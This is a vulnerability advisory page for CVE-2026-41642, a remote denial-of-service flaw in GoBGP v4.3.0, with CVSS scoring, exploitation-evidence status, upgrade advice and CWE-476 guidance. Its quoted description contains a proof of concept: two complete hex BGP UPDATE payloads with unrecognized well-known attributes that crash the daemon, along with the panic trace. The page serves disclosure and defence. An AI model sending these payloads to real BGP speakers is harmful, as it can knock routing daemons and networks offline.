VulnerabilityPublished 29 Apr 2026Updated 8 May 2026

CVE-2026-41642: V4 · GoBGP has Remote Denial of Service (Panic) via Malformed Well-known Path Attribute

Affects github.com/osrg/gobgp/v4Source GCVE Database

Authoritative record:CVE-2026-41642· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 4.4.0 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 4.4.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/osrg/gobgp/v4 to 4.4.0.

Affected software

Product	Affected	Fixed in
Gogithub.com/osrg/gobgp/v4	Affected >=4.3.0 <4.4.0 =4.3.0	Fixed in 4.4.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary A remote Denial of Service (DoS) vulnerability exists in GoBGP due to a nil pointer dereference. When a malformed BGP UPDATE message contains an unrecognized Path Attribute marked as "Well-known," the daemon fails to interrupt the message handling flow. This results in an illegal memory access and a full process crash (panic). ### Details The vulnerability is located in the Finite State Machine (FSM) message handling loop in pkg/server/fsm.go. According to RFC 4271, any Path Attribute with the Optional bit set to 0 is treated as "Well-known." If the Type Code is unrecognized, the BGP speaker MUST send a NOTIFICATION message. In GoBGP v4.3.0, when such an attribute (e.g., Type 0xEE or 0xFF with flags 0x40) is received, the parsing layer identifies the error. However, the logic in recvMessageloop (around Line 1826) does not properly halt execution. It proceeds to reference the body of the parsed message. Because the message was deemed invalid during the initial attribute check, the body pointer is nil, leading to: panic: runtime error: invalid memory address or nil pointer dereference. This bypasses the intended error-handling mechanism and causes the entire BGP daemon to terminate, rather than just closing the affected session. ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0xc225e4] goroutine 50 [running]: github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x19f29bca92c0, {0x10069f0, 0x19f29bc48780}, {0x1014658, 0x19f29bc2a890}, 0x19f29baa0540, 0x19f29bc393b0, 0x19f29bc96cc0?) /home/base/Desktop/gobgp/pkg/server/fsm.go:1826 +0xa44 created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37 /home/base/Desktop/gobgp/pkg/server/fsm.go:1916 +0x2d5 exit status 2 ``` ### PoC GoBGP Version: v4.3.0 Configure GoBGP with a neighbor (e.g., 192.168.31.195) in passive mode. Establish a standard BGP session (OPEN/KEEPALIVE exchange). Send a specifically crafted UPDATE packet containing an unrecognized Type Code marked as "Well-known" (Optional bit = 0). Payload 1 (Hex): ``` FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 17 # Length: 23 02 # Type: UPDATE 00 00 # Withdrawn Routes Length: 0 00 04 # Total Path Attribute Length: 4 40 EE 00 # Flag: 0x40 (Well-known, Transitive), Type: 0xEE (Unknown), Len: 0 ``` Payload 2 (Hex): ``` FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 17 # Length: 23 02 # Type: UPDATE 00 00 # Withdrawn Routes Length: 0 00 04 # Total Path Attribute Length: 4 40 01 01 00 # IGP Attribute 40 FF 00 # Flag: 0x40 (Well-known, Transitive), Type: 0xFF (Unknown), Len: 0 ``` ### Impact This vulnerability affects all GoBGP deployments peering with external or internal speakers. A single malformed UPDATE message from any peer can trigger a nil pointer dereference, causing the GoBGP daemon to panic and crash.

CWE-476NULL Pointer Dereference (opens in a new tab)
Base weaknessLikelihood of exploit: MediumCWE Top 25 (2025): #13OWASP Top 10 A10:2025: Mishandling of Exceptional Conditions (opens in a new tab)
The product dereferences a pointer that it expects to be valid but is NULL.
Implementation
For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished.
Requirements
Select a programming language that is not susceptible to these issues.
Implementation
Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
OWASP Cheat Sheets
Logging (opens in a new tab)
Error Handling (opens in a new tab)
OWASP ASVS 4.0.3
V11.1.7 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-476

Technical details

References

Community reviews

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